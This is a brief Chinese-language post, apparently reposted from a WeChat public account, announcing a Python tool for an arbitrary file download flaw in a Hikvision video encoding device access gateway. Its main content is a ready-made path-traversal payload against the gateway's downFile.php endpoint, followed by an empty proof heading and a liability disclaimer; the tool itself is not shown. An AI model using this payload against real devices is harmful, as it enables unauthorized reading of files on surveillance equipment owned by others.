python工具HIKVISION视频编码设备接入网关任意文件下载

python工具

构造payload

/serverLog/downFile.php?fileName=../web/html/serverLog/downFile.php

漏洞证明

文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。

免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。

原文始发于微信公众号（各家兴）：python工具HIKVISION视频编码设备接入网关任意文件下载